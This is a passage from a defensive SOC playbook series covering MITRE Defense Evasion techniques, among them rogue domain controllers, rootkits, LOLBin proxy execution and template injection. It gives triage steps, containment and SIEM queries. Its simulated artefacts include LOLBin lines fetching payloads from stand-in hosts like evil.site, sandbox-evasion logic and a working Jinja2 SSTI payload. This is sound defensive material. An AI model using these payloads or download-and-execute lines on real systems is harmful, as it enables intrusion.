Script-based loader	PowerShell / JS	Trusted interpreter
Injection-based	Remote memory execution	Cross-process stealth
Download-and-execute	Encrypted payloads	Network-to-RAM

Step 3 Map behaviour to attacker intent

3A) Fileless Execution

Indicators

- No file writes, no hashes

Attacker intent

- Evade AV and allow-listing

3B) Rapid, Ephemeral Operations

Indicators

- Short-lived payloads

Attacker intent

- Reduce forensic footprint

3C) Staged Attacks

Indicators

- Reflective loaders used as first stage

Attacker intent

- Deploy heavier payloads later

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - In-memory beacons
2. Credential Access
 - LSASS or browser memory targeting
3. Process Injection
 - Reflectively loaded injectors
4. Persistence
 - Registry, scheduled tasks or secondary payloads

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Suspend or terminate executing processes
3. Capture full memory images

If reflective loading confirmed

1. Preserve memory dumps and network captures
2. Identify loader code and delivery mechanism
3. Notify SOC leadership and endpoint teams
4. Assume advanced, fileless malware

Eradication and recovery

- Remove loader scripts or delivery mechanisms
- Patch exploited applications or macros
- Reimage hosts if memory integrity is uncertain
- Strengthen AMSI, EDR and memory inspection rules
- Rotate credentials if sensitive processes were involved

Detection engineering (SIEM / EDR ideas)

A) Executable memory without file mapping

index=edr

| where memory_region="executable" AND mapped_file=false

B) PE headers in memory

index=edr

| where memory_signature="MZ"

C) Script engines performing memory execution

index=edr

| where process_name IN ("powershell.exe","mshta.exe","wscript.exe")

| where action="execute_memory"

Analyst checklist

- Reflective code loading confirmed

- Loader and payload identified
- Memory artefacts preserved
- Follow-on activity assessed
- Incident severity updated

Post-incident improvements

- Treat memory execution as first-class malware behaviour
- Expand EDR coverage for in-memory PE detection
- Enable deep script inspection and AMSI integration
- Monitor API sequences used for manual loading
- Correlate network delivery → memory allocation → execution

Playbook 117 (MITRE Defense Evasion): Rogue Domain Controller

Technique: Rogue Domain Controller

Purpose

Detect, investigate and respond to adversaries evading defenses by introducing or masquerading a malicious system as a Domain Controller (DC), enabling attackers to:

- Issue legitimate-looking authentication responses
- Capture, modify or forge authentication traffic
- Bypass security controls that inherently trust DCs
- Perform credential theft at scale (Kerberos, NTLM)
- Maintain long-term, stealthy control over identity infrastructure

A Rogue Domain Controller attack is defense evasion through trust subversion attackers do not bypass identity controls they become the identity authority.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised DC behaviour or identity infrastructure anomalies, including:

- New or unexpected Domain Controllers appearing in the environment
- Authentication traffic routed to non-approved DCs
- Kerberos or NTLM anomalies (duplicate tickets, unusual responses)
- DC-level privileges granted without change approval
- AD replication traffic involving unknown systems

Example use case scenario (end-to-end)

Context: SOC observes Kerberos authentication requests being answered by an unknown server. AD logs show a new DC object created outside approved change windows. Network inspection confirms a rogue system impersonating a Domain Controller.

Attacker objective: Subvert Active Directory trust to control authentication and harvest credentials.

Defender objective: Identify the rogue DC and restore integrity of the identity plane.

What it looks like (simulated SOC artefacts)

A) Unexpected Domain Controller Registration

EventID=5137

ObjectType=Computer

Role=DomainController

Creator=UnknownAdmin

B) Rogue Kerberos Responses

KDC=UnrecognisedHost

TicketIssuer=Suspicious

C) Replication Anomalies

ReplicationPartner=DC-Shadow01

Status=Unauthorised

D) Network Indicators

Protocol=LDAP/Kerberos

Destination=Non-Approved IP

E) Credential Exposure

TicketType=TGT

Extraction=Suspected

F) Evasion Outcome

TrustBoundary=Broken

Authentication=Compromised

Severity decision (SOC)

High

- Suspicious DC behaviour detected but not confirmed

Critical

- Confirmed rogue or shadow Domain Controller

Example severity: Critical

(Core identity infrastructure compromised)

Step-by-step SOC workflow

Step 1 Validate rogue DC presence

Confirm:

1. Is there a Domain Controller not in the approved inventory?
2. Was the DC created or promoted outside formal change control?
3. Is authentication traffic routed to unexpected systems?
4. Are AD replication or directory services behaving abnormally?

Decision point

- Misconfiguration → coordinate with AD team
- Rogue DC → escalate immediately

Step 2 Identify rogue DC technique

Method	Indicator	Evasion value
DC impersonation	Fake KDC responses	Trust abuse
DCShadow-style attack	Stealth DC object	No full promotion
Replication abuse	Unauthorised sync	Silent data theft
Network spoofing	LDAP/Kerberos interception	Credential capture

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

- Kerberos or NTLM anomalies

Attacker intent

- Steal domain-wide credentials

3B) Privilege Escalation

Indicators

- DC-level permissions gained

Attacker intent

- Full domain control

3C) Long-Term Persistence

Indicators

- Stealth DC presence

Attacker intent

- Maintain undetected access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - DCSync, ticket forging, NTDS access
2. Lateral Movement
 - Domain-wide authentication abuse
3. Persistence
 - Backdoor accounts, GPO modification
4. Impact
 - Identity sabotage or mass compromise

Decision point

- Follow-on activity confirmed → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate suspected rogue DC at network level
2. Block LDAP, Kerberos and replication traffic
3. Preserve memory, disk and AD metadata

If rogue DC confirmed

1. Notify SOC leadership, IAM, AD and executives
2. Disable and remove rogue DC objects from AD
3. Force replication from known-good DCs
4. Assume domain credential compromise

Eradication and recovery

- Remove rogue DC and associated objects
- Reset KRBTGT account (twice)
- Rotate all privileged and service credentials
- Validate AD replication integrity
- Review and harden DC promotion and replication controls

Detection engineering (SIEM / AD ideas)

A) New DC creation detection

index=wineventlog

| where EventID=5137 AND role="DomainController"

B) Kerberos responses from unknown hosts

index=network

| where protocol="Kerberos" AND src_ip NOT IN approved_dc_list

C) Replication anomalies

index=ad

| where replication_partner NOT IN approved_dc_list

Analyst checklist

- Rogue DC confirmed
- Authentication traffic analysed

- AD integrity restored
- Credentials rotated
- Incident severity escalated

Post-incident improvements

- Treat Domain Controllers as Tier-0 crown jewels
- Enforce strict DC promotion and replication controls
- Monitor continuously for DCShadow-style behaviour
- Alert on any identity authority deviation
- Regularly validate AD topology and trust relationships

Playbook 118 (MITRE Defense Evasion): Rootkit

Technique: Rootkit

Purpose

Detect, investigate and respond to adversaries evading defenses by deploying rootkits that hide malicious activity by subverting the operating system, kernel, drivers or firmware, enabling attackers to:

- Conceal processes, files, registry keys, network connections and users
- Intercept or falsify system calls and security telemetry
- Persist with high privilege while remaining invisible to EDR/AV
- Manipulate kernel, driver or firmware layers to bypass detection
- Maintain long-term, stealthy control over compromised systems

A Rootkit is defense evasion through system subversion attackers don't hide within the OS they rewrite how the OS sees reality.

When to trigger this playbook

Trigger this playbook when indicators suggest system integrity compromise or hidden execution, including:

- Discrepancies between user-mode tools and kernel-level observations
- Security tools reporting "clean" while suspicious behaviour persists
- Hidden processes, drivers, registry keys or network connections
- Unexpected kernel crashes, BSODs or integrity check failures
- Persistence that survives reboots and standard remediation

Example use case scenario (end-to-end)

Context: SOC observes outbound C2 traffic but cannot identify the source process. EDR reports no suspicious binaries. Kernel inspection reveals a malicious driver hooking system calls, hiding the attacker's processes and network sockets.

Attacker objective: Remain undetectable while maintaining privileged, persistent access.

Defender objective: Identify kernel-level manipulation and restore system integrity.

What it looks like (simulated SOC artefacts)

A) Kernel Hooking

Function=NtQuerySystemInformation

Hooked=True

ReturnData=Filtered

B) Hidden Driver

DriverName=Unknown.sys

Signed=False

Loaded=True

Visible=False

C) Process Hiding

ProcessID=4242

VisibleToUserTools=False

KernelObjectPresent=True

D) Network Stealth

Socket=Active

NetstatOutput=None

E) File/Registry Concealment

Path=C:\Windows\System32\drivers\mal.sys

ExistsOnDisk=True

Visible=False

F) Evasion Outcome

Telemetry=Manipulated

Detection=Bypassed

Severity decision (SOC)

High

- Suspected rootkit behaviour without confirmation

Critical

- Confirmed kernel, driver or firmware-level rootkit

Example severity: Critical

(Core OS trust compromised)

Step-by-step SOC workflow

Step 1 Validate rootkit indicators

Confirm:

1. Do user-mode and kernel-mode views disagree?
2. Are system calls or kernel structures modified or hooked?
3. Is there evidence of hidden objects (processes, drivers, files)?
4. Does malicious behaviour persist despite remediation attempts?

Decision point

- Driver misconfiguration → validate with vendor
- Kernel manipulation → escalate immediately

Step 2 Identify rootkit type

Rootkit Type	Indicator	Evasion value
User-mode	API hooking	Tool deception
Kernel-mode	Syscall/driver hooks	Full stealth
Bootkit	Pre-OS execution	Survives reimage
Firmware	Hardware-level	Near-total invisibility
Hypervisor	VM-level control	OS unaware

Step 3 Map behaviour to attacker intent

3A) Long-Term Stealth

Indicators

- Persistent hidden activity

Attacker intent

- Avoid detection indefinitely

3B) Privileged Control

Indicators

- Kernel or driver-level access

Attacker intent

- Bypass all security controls

3C) Platform Subversion

Indicators

- Integrity checks bypassed

Attacker intent

- Control system perception

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Kernel keylogging, LSASS interception
2. Command and Control
 - Hidden sockets, covert channels
3. Persistence
 - Bootkits, firmware modifications
4. Impact
 - Sabotage, espionage, data manipulation

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host at network level
2. Prevent further lateral movement
3. Preserve disk, memory and firmware images

If rootkit confirmed

1. Notify SOC leadership, endpoint, platform and executives
2. Treat system as fully compromised
3. Assume security telemetry is unreliable
4. Stop trusting data from the affected host

Eradication and recovery

- Do not attempt piecemeal cleanup
- Reimage system from known-good, trusted media
- Reflash firmware/BIOS where applicable
- Replace hardware if firmware integrity cannot be assured
- Rotate all credentials used on the system
- Validate integrity of connected systems

Detection engineering (SIEM / EDR ideas)

A) Kernel integrity monitoring

index=edr

| where kernel_integrity!="valid"

B) Hidden driver detection

index=edr

| where driver_loaded=true AND driver_visible=false

C) Network activity without owning process

index=network

| where connection_exists=true AND process_id IS NULL

Analyst checklist

- Rootkit behaviour validated
- Rootkit type identified
- Host isolated
- Full rebuild initiated
- Credentials rotated
- Incident severity escalated

Post-incident improvements

- Treat kernel and firmware integrity as Tier-0 assets
- Enable Secure Boot, driver signing and kernel protections
- Deploy kernel-level integrity monitoring
- Regularly validate firmware and driver inventories
- Correlate hidden activity + telemetry inconsistencies + persistence

Playbook 119 (MITRE Defense Evasion): Selective Exclusion

Technique: Selective Exclusion

Purpose

Detect, investigate and respond to attacker activity that deliberately excludes specific targets, environments, users, files, processes or regions from malicious behaviour, enabling attackers to:

- Evade detection in monitored or high-risk environments
- Avoid triggering SOC, sandbox or honeypot systems
- Prevent execution in analyst, research or government environments
- Reduce noisy behaviour that leads to early discovery
- Target victims with precision while remaining stealthy elsewhere

Selective exclusion is intentional restraint the attacker chooses when NOT to attack to stay hidden.

When to trigger this playbook

Trigger this playbook when indicators suggest conditional or selective execution logic, including:

- Malware that executes only on specific hosts, domains or users
- Payloads that abort execution in sandbox or VM environments
- Inconsistent infection patterns across similar systems
- Malicious tools skipping security processes, directories or IP ranges
- Targeted attacks affecting only a narrow subset of assets
- Payload behaviour that changes based on locale, hostname or role

Example use case scenario (end-to-end)

Context: SOC detonates a suspicious binary in a sandbox nothing happens. The same file executes successfully on a production workstation in Finance. Reverse engineering reveals hardcoded exclusions for VM indicators, security tools and analyst usernames.

Attacker objective: Remain undetected during analysis while executing only on real targets.

Defender objective: Identify exclusion logic, understand attacker targeting and expand detection beyond “normal” behaviour.

What it looks like (simulated SOC artefacts)

A) Sandbox / VM Exclusion

if (VMwareToolsDetected == true) exit
if (MACVendor == "00:05:69") exit

B) Security Tool Exclusion

if (process == "MsMpEng.exe") skip_payload
if (process == "carbonblack.exe") terminate

C) User / Hostname Exclusion

ExcludedUsers = ["analyst", "admin", "sandbox"]
ExcludedHosts = ["SOC-PC", "IR-LAB"]

D) IP / Network Range Exclusion

if (IP in 10.0.0.0/8) exit
if (ASN == CloudProvider) exit

E) Region / Locale Exclusion

if (SystemLanguage == "ru-RU") exit
if (CountryCode == "US-GOV") exit

F) File / Path Exclusion

DoNotEncrypt:
C:\Windows\
C:\Program Files\EDR\

G) Time-Based Exclusion

if (WorkingHours == false) execute

Severity decision (SOC)

Low

- Legitimate application exclusions
- Documented security software behaviour

Medium

- Selective logic detected but payload impact unclear

High / Critical

- Exclusion logic used to evade detection or target victims
- Malware behaves differently in production vs analysis
- Evidence of deliberate SOC/sandbox avoidance

Example severity: High

(Sandbox evasion + security tool exclusion + targeted execution)

Step-by-step SOC workflow

Step 1 Confirm selective exclusion behaviour

Confirm:

1. Does the malware conditionally execute?
2. What environmental checks are performed?
3. Which targets are excluded and why?
4. Is the logic designed to evade detection or analysis?

Decision point

- Legitimate conditional logic → document and monitor
- Malicious selective exclusion → continue investigation immediately

Step 2 Identify exclusion criteria and scope

Exclusion type	Evidence	Attacker value
Sandbox / VM	VM artefact checks	Analysis evasion
Security tools	Process checks	Detection evasion
User / host	Hardcoded lists	Target precision
Network / ASN	IP filtering	Avoid monitoring
Locale / region	Language checks	Political / legal evasion
File paths	Encryption skips	System stability

Step 3 Map behaviour to attacker intent

3A) Defense Evasion

Indicators

- No behaviour in sandbox or lab

Attacker intent

- Avoid detection and reverse engineering

3B) Targeted Operations

Indicators

- Narrow victim set

Attacker intent

- Precision attacks with low noise

3C) Impact Optimisation

Indicators

- Selective encryption or execution

Attacker intent

- Maximise damage while maintaining access

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Execution
 - What happens when exclusion checks pass
- Credential Access
 - Targeted credential harvesting
- Lateral Movement
 - Selective spread rules
- Impact
 - Ransomware or data theft against specific assets

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected systems where execution occurs
2. Block payload hashes and known indicators
3. Expand sandbox and detonation environments

If abuse confirmed

1. Remove malware and persistence mechanisms
2. Review excluded assets they may indicate attacker priorities
3. Update detections to ignore exclusion logic
4. Preserve samples for deeper reverse engineering

Eradication and recovery

- Clean infected systems and validate integrity
- Patch initial access vectors
- Strengthen sandbox realism (hardware, locale, user artefacts)
- Rebuild high-risk systems if targeted
- Monitor for variant payloads with adjusted exclusions

Detection engineering (SIEM ideas)

A) Conditional execution behaviour

```
index=edr  
| where process_execution="Conditional"
```

B) Sandbox evasion indicators

```
index=edr  
| where api IN ("IsDebuggerPresent","CheckRemoteDebuggerPresent")  
| where outcome="Exit"
```

C) Security process enumeration

```
index=edr  
| where action="ProcessEnumerate"  
| where target_process IN ("MsMpEng.exe","csagent.exe","cb.exe")
```

D) Inconsistent detonation results

```
index=malware_analysis  
| stats count by sample_hash, execution_result
```

Analyst checklist

- Selective exclusion logic confirmed
- Targeting criteria identified
- Scope of affected systems mapped
- Detection logic updated
- Monitoring expanded

Post-incident improvements

- Treat selective exclusion as high-intent attacker behaviour
- Improve sandbox realism and diversity
- Detect checks, not just payload execution
- Monitor for attacker reconnaissance of environment traits
- Include selective-execution malware in SOC training

Playbook 120 (MITRE Defense Evasion): Subvert Trust Controls

Technique: Subvert Trust Controls

Sub-techniques:

- Gatekeeper Bypass
- Code Signing
- SIP and Trust Provider Hijacking
- Install Root Certificate
- Mark-of-the-Web (MOTW) Bypass
- Code Signing Policy Modification

Purpose

Detect, investigate and respond to adversaries evading defenses by undermining operating system and application trust mechanisms, enabling attackers to:

- Execute untrusted or malicious code without warnings
- Bypass OS and browser security prompts
- Make malware appear legitimate and signed
- Break user and system trust assumptions
- Disable or weaken enforcement of trust policies

Subverting trust controls is defense evasion through legitimacy abuse attackers do not fight security checks they convince the system the malware is trustworthy.

When to trigger this playbook

Trigger this playbook when indicators suggest trust enforcement mechanisms have been bypassed or altered, including:

- Unsigned or malicious code executing without warnings
- Unexpected changes to code signing or execution policies
- New trusted certificates added without approval
- Gatekeeper, SmartScreen or similar protections bypassed
- Files downloaded from the internet executing without MOTW

Example use case scenario (end-to-end)

Context: A macOS endpoint executes an unsigned binary without user prompts. Gatekeeper logs show no enforcement action. Investigation reveals a Gatekeeper bypass combined with a forged code signature.

Attacker objective: Execute malware seamlessly by appearing trusted to the OS and user.

Defender objective: Detect trust control abuse and restore execution integrity.

What it looks like (simulated SOC artefacts)

A) Gatekeeper Bypass

OS=macOS

Gatekeeper=Disabled/Bypassed

Prompt=Suppressed

B) Malicious Code Signing

Binary=Updater.app

Signature=Valid

Certificate=Compromised

C) SIP / Trust Provider Hijacking

SystemIntegrityProtection=Disabled

TrustProvider=Modified

D) Rogue Root Certificate

CertificateType=Root CA

InstalledBy=Unknown

TrustLevel=System

E) Mark-of-the-Web Bypass

FileSource=Internet

MOTW=Absent

Execution=Allowed

F) Code Signing Policy Modification

Policy=ExecutionPolicy

Change=Relaxed

ApprovedChange=False

G) Evasion Outcome

TrustChecks=Bypassed

UserWarning=None

Severity decision (SOC)

High

- Trust controls altered but no confirmed malicious execution

Critical

- Trust control subversion used to execute malware

Example severity: Critical

(Security trust model compromised)

Step-by-step SOC workflow

Step 1 Validate trust control subversion

Confirm:

1. Did malicious or unapproved code execute without trust warnings?
2. Were trust mechanisms disabled, bypassed or modified?
3. Were certificates, signing policies or trust providers changed without approval?
4. Does behaviour indicate intentional evasion, not user misconfiguration?

Decision point

- Legitimate admin change → validate change records
- Unauthorised trust subversion → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Evasion value
Gatekeeper bypass	No execution prompt	Silent execution
Code signing abuse	Valid signature	Reputation bypass
SIP hijack	Integrity disabled	Deep OS access
Root certificate install	New trusted CA	Traffic/code trust
MOTW bypass	No zone marking	Browser protection bypass
Policy modification	Relaxed enforcement	Long-term evasion

Step 3 Map behaviour to attacker intent

3A) Silent Execution

Indicators

- Malware runs without warnings

Attacker intent

- Avoid user suspicion

3B) Reputation and Policy Abuse

Indicators

- Signed malware or relaxed policies

Attacker intent

- Bypass allow-listing and AV

3C) Long-Term Trust Manipulation

Indicators

- Persistent trust changes

Attacker intent

- Enable future attacks

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Additional payloads leveraging relaxed trust
2. Persistence
 - Signed backdoors, trusted launch agents
3. Credential Access
 - HTTPS interception via rogue root CA
4. Command and Control
 - Trusted TLS channels

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Block execution of newly trusted binaries
3. Preserve certificates, policy files and logs

If trust subversion confirmed

1. Notify SOC leadership and platform owners
2. Remove unauthorised certificates
3. Restore default trust and signing policies
4. Assume trust abuse may be widespread

Eradication and recovery

- Revoke compromised or malicious certificates
- Restore Gatekeeper / SmartScreen / SIP settings
- Reset execution and code signing policies
- Reimage systems if integrity cannot be verified
- Rotate credentials if TLS interception is suspected

Detection engineering (SIEM / Endpoint ideas)

A) New root certificate installation

index=endpoint

| where certificate_type="Root" AND approved=false

B) Trust policy modification

index=endpoint

| where policy_change=true AND policy IN ("CodeSigning","Execution")

C) Execution without MOTW

index=edr

| where file_source="internet" AND motw=false

Analyst checklist

- Trust control modification confirmed
- Sub-technique identified
- Affected assets isolated
- Trust policies restored
- Incident severity escalated

Post-incident improvements

- Treat trust controls as Tier-0 security mechanisms
- Alert on any change to code signing, trust providers or root CAs
- Enforce least-privilege for certificate and policy changes
- Monitor execution without warnings as a high-risk signal
- Correlate trust change → execution → network activity

Playbook 121 (MITRE Defense Evasion): System Binary Proxy Execution

Technique: System Binary Proxy Execution

Sub-techniques:

- Compiled HTML File
- Control Panel
- CMSTP
- InstallUtil
- Mshta
- Msiexec
- Odbcconf
- Regsvcs / Regasm
- Regsvr32
- Rundll32
- Verclsid
- Mavinject
- MMC
- Electron Applications

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing legitimate, signed system binaries (“LOLBins”) to execute malicious code, enabling attackers to:

- Execute payloads without dropping custom executables
- Bypass application allow-listing and reputation controls
- Blend malicious execution into normal OS behaviour
- Reduce forensic artefacts and attribution
- Leverage trusted binaries to proxy execution on their behalf

System Binary Proxy Execution is defense evasion through delegated trust the attacker doesn't run malware directly Windows runs it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest legitimate system binaries executing abnormal or malicious logic, including:

- Signed Windows binaries executing scripts, DLLs or remote content
- Network connections initiated by binaries that normally do not beacon

- Execution chains that avoid custom executables
- Bypasses of application allow-listing (AppLocker, WDAC)
- Suspicious command-line arguments to trusted binaries

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTPS traffic from mshta.exe. No malicious binary exists on disk. Command-line analysis reveals HTML Application code fetched remotely and executed in-memory.

Attacker objective: Evade detection by proxying malicious execution through trusted system binaries.

Defender objective: Detect LOLBin abuse and break the execution chain.

What it looks like (simulated SOC artefacts)

A) Compiled HTML File

Binary=hh.exe

CHM=malicious.chm

Execution=Embedded Script

B) Control Panel Abuse

Binary=control.exe

Item=malicious.cpl

C) CMSTP Abuse

Binary=cmstp.exe

INF=remote.inf

Execution=Silent

D) InstallUtil Abuse

Binary=InstallUtil.exe

Assembly=payload.dll

Uninstall=True

E) Mshta Abuse

Binary=mshta.exe

Source=https://evil.site/payload.hta

F) Msiexec Abuse

Binary=msiexec.exe

MSI=remote.msi

Install=Silent

G) Odbcconf Abuse

Binary=odbcconf.exe

Args=/a {REGSVR payload.dll}

H) Regsvcs / Regasm Abuse

Binary=regasm.exe

Assembly=payload.dll

CodeBase=True

I) Regsvr32 Abuse

Binary=regsvr32.exe

Script=sct://remote.sct

J) Rundll32 Abuse

Binary=rundll32.exe

DLL=payload.dll,EntryPoint

K) Verclsid Abuse

Binary=verclsid.exe

COMObject=Hijacked

L) Mavinject Abuse

Binary=mavinject.exe

TargetProcess=explorer.exe

Injection=Yes

M) MMC Abuse

Binary=mmc.exe

Console=malicious.msc

N) Electron Application Abuse

Binary=electron.exe

App=Trojanised

JSExecution=Hidden

O) Evasion Outcome

Binary=Signed

Payload=Malicious

Detection=Delayed

Severity decision (SOC)

High

- LOLBin abuse detected but execution blocked

Critical

- Successful proxy execution of malicious code

Example severity: Critical

(Trusted system binaries abused for malware execution)

Step-by-step SOC workflow

Step 1 Validate proxy execution

Confirm:

1. Is a signed system binary executing code outside its normal function?
2. Are scripts, DLLs or remote resources involved?
3. Is the execution chain free of custom executables?
4. Does the behaviour align with known LOLBin abuse patterns?

Decision point

- Legitimate admin usage → validate user, timing and purpose
- Malicious proxy execution → escalate immediately

Step 2 Identify abused binary

Binary	Abuse Pattern	Evasion Value
mshta / hh	Script execution	No binary drop
regsvr32	Remote SCT	AppLocker bypass
rundll32	DLL execution	Trusted loader
cmstp	INF execution	Silent install
msiexec	MSI install	Enterprise blend
electron	JS abuse	User app disguise

Step 3 Map behaviour to attacker intent

3A) Allow-list Bypass

Indicators

- Execution via signed binaries

Attacker intent

- Defeat application controls

3B) Stealth Execution

Indicators

- No dropped executables

Attacker intent

- Reduce detection surface

3C) Living-off-the-Land

Indicators

- Only native tools used

Attacker intent

- Blend into environment

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network traffic from LOLBins
2. Process Injection
 - LOLBins spawning or injecting into others
3. Persistence
 - Scheduled tasks, registry, services
4. Credential Access
 - LOLBins loading credential-stealing modules

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Terminate abused system binaries
3. Block outbound connections from LOLBins

If abuse confirmed

1. Notify SOC leadership and endpoint teams
2. Preserve command-line, parent-child chains and payloads
3. Assume stealth execution may be widespread

Eradication and recovery

- Remove malicious scripts, DLLs, MSI, HTA, SCT or assemblies
- Patch abused binaries and OS components
- Harden AppLocker / WDAC rules against LOLBins
- Reimage systems if integrity is uncertain
- Rotate credentials if post-execution access occurred

Detection engineering (SIEM / EDR ideas)

A) LOLBin command-line monitoring

index=edr

| where process_name IN

("mshta.exe","regsvr32.exe","rundll32.exe","cmstp.exe","msiexec.exe")

B) LOLBins making network connections

index=network

| where process_name IN ("mshta.exe","regsvr32.exe","hh.exe") AND destination_ip NOT IN approved_list

C) Script/DLL execution via system binaries

index=edr

| where parent_process IN ("mshta.exe","regsvr32.exe","rundll32.exe")

Analyst checklist

- System binary proxy execution confirmed
- Abused binary identified
- Payload source identified
- Host isolated and remediated
- Incident severity escalated

Post-incident improvements

- Treat system binaries as potential execution engines
- Monitor command-line usage of LOLBins aggressively
- Restrict LOLBins via WDAC/AppLocker where possible
- Correlate signed binary + abnormal arguments + network activity
- Train analysts to recognise “trusted binary ≠ trusted behaviour”

Playbook 122 (MITRE Defense Evasion): System Script Proxy Execution

Technique: System Script Proxy Execution

Sub-techniques:

- PubPrn
- SyncAppvPublishingServer

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing legitimate system scripts to proxy malicious execution, enabling attackers to:

- Execute malicious payloads without dropping custom scripts
- Bypass application allow-listing and script restrictions
- Blend malicious execution into trusted administrative workflows
- Abuse signed Microsoft scripts as execution launchers
- Reduce visibility by hiding behind normal enterprise operations

System Script Proxy Execution is defense evasion through trusted scripting delegation. Attackers do not run malware directly. Microsoft-signed scripts execute it on their behalf.

When to trigger this playbook

Trigger this playbook when indicators suggest system scripts being used outside normal administrative contexts, including:

- Execution of pubprn.vbs or SyncAppvPublishingServer.vbs without legitimate admin activity
- Script-initiated downloads or remote code execution
- Network connections initiated by Windows scripting hosts unexpectedly
- Script execution chains bypassing AppLocker or WDAC rules
- Abnormal command-line arguments passed to signed scripts

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTP traffic from wscript.exe. Command-line review shows pubprn.vbs fetching a remote scriptlet. No custom script files exist on disk.

Attacker objective: Evade allow-listing by proxying execution through trusted Microsoft scripts.

Defender objective: Detect script proxy abuse and break the execution chain.

What it looks like (simulated SOC artefacts)

A) PubPrn Abuse

Script=pubprn.vbs

Interpreter=wscript.exe

Argument=http://evil.site/payload.sct

B) SyncAppvPublishingServer Abuse

Script=SyncAppvPublishingServer.vbs

Mode=Bypass

Execution=Hidden

C) Script-Based Remote Execution

Payload=Downloaded

Execution=Memory/Script

DiskArtifacts=None

D) Allow-list Bypass

Binary=wscript.exe

Script=Signed (Microsoft)

Policy=Allowed

E) Evasion Outcome

Execution=Successful

Detection=Delayed

Severity decision (SOC)

High

- Script proxy execution detected but payload blocked

Critical

- Successful malicious execution via system scripts

Example severity: Critical

(Trusted scripting infrastructure abused)

Step-by-step SOC workflow

Step 1 Validate system script proxy execution

Confirm:

1. Is a Microsoft-signed script being executed?
2. Is the script performing actions outside its intended function?
3. Are remote resources, downloads or execution involved?
4. Does execution bypass normal script controls or policies?

Decision point

- Legitimate admin script usage → validate change records
- Malicious script proxy execution → escalate immediately

Step 2 Identify abused script

Script	Abuse Pattern	Evasion Value
PubPrn	Remote scriptlet execution	AppLocker bypass
SyncAppvPublishingServer	Hidden script execution	Trusted workflow abuse

Step 3 Map behaviour to attacker intent

3A) Allow-list Bypass

Indicators

- Execution via signed scripts

Attacker intent

- Defeat script restrictions

3B) Stealth Execution

Indicators

- No custom scripts on disk

Attacker intent

- Reduce forensic footprint

3C) Living-off-the-Land

Indicators

- Only native scripts used

Attacker intent

- Blend into enterprise activity

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network traffic from scripting engines
2. Process Injection
 - Scripts launching or injecting payloads
3. Persistence
 - Registry, scheduled tasks, WMI
4. Credential Access
 - Script-based credential harvesting

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host

2. Terminate script interpreters (wscript.exe, cscript.exe)
3. Block outbound traffic initiated by scripts

If abuse confirmed

1. Notify SOC leadership and endpoint teams
2. 1. Preserve command-lines, script arguments and network artefacts
3. Assume script-based execution may be broader

Eradication and recovery

- Remove malicious script references and payloads
- Patch OS and scripting components
- Harden AppLocker / WDAC rules for system scripts
- Restrict script execution to approved contexts
- Reimage systems if integrity is uncertain

Detection engineering (SIEM / EDR ideas)

A) System script execution monitoring

index=edr

| where script_name IN ("pubprn.vbs","SyncAppvPublishingServer.vbs")

B) Scripts initiating network connections

index=network

| where process_name IN ("wscript.exe","cscript.exe")

C) Script execution with remote arguments

index=edr

| where command_line LIKE "%http%"

Analyst checklist

- System script proxy execution confirmed
- Abused script identified
- Payload source identified
- Host isolated and remediated

- Incident severity escalated

Post-incident improvements

- Treat system scripts as high-risk execution surfaces
- Alert on execution of rarely used signed scripts
- Restrict scripting engines in non-admin contexts
- Correlate signed script + abnormal arguments + network activity
- Train analysts that “signed script ≠ safe execution”

Playbook 123 (MITRE Defense Evasion): Template Injection

Technique: Template Injection

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing server-side or client-side template engines to execute malicious logic, enabling attackers to:

- Execute arbitrary code without dropping binaries
- Abuse trusted application rendering pipelines
- Bypass traditional security controls and WAF rules
- Execute payloads under the context of legitimate applications
- Blend malicious execution into normal application behaviour

Template Injection is defense evasion through application trust abuse attackers do not exploit the OS directly they weaponise how applications render data.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected logic execution during template rendering, including:

- Application errors revealing template syntax or execution paths
- Unexpected OS commands or file access initiated by web applications
- Suspicious payloads embedded in template variables
- Server-side code execution without corresponding binaries
- WAF alerts related to template expressions (`{{ }}`, `${ }`, `<% %>`)

Example use case scenario (end-to-end)

Context: A web application shows intermittent crashes and unusual command execution. Logs reveal user-supplied input rendered directly in a server-side template. Attackers exploit Server-Side Template Injection (SSTI) to run OS commands.

Attacker objective: Evade detection by executing code through trusted application logic.

Defender objective: Detect template execution abuse and prevent further exploitation.

What it looks like (simulated SOC artefacts)

A) Malicious Template Payload

Input={{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

TemplateEngine=Jinja2

B) Unexpected Command Execution

Process=python

ParentProcess=webserver

Command=id

C) Application Log Anomalies

Error=TemplateRenderException

UserInput=Unescaped

D) No Binary Dropped

DiskArtifacts=None

ExecutionContext=Application

E) Evasion Outcome

Execution=Successful

Detection=Delayed

Severity decision (SOC)

High

- Template injection attempt detected but blocked

Critical

- Successful template injection leading to code execution

Example severity: Critical

(Application-layer execution compromise)

Step-by-step SOC workflow

Step 1 Validate template injection

Confirm:

1. Is user-controlled input being rendered inside a template engine?
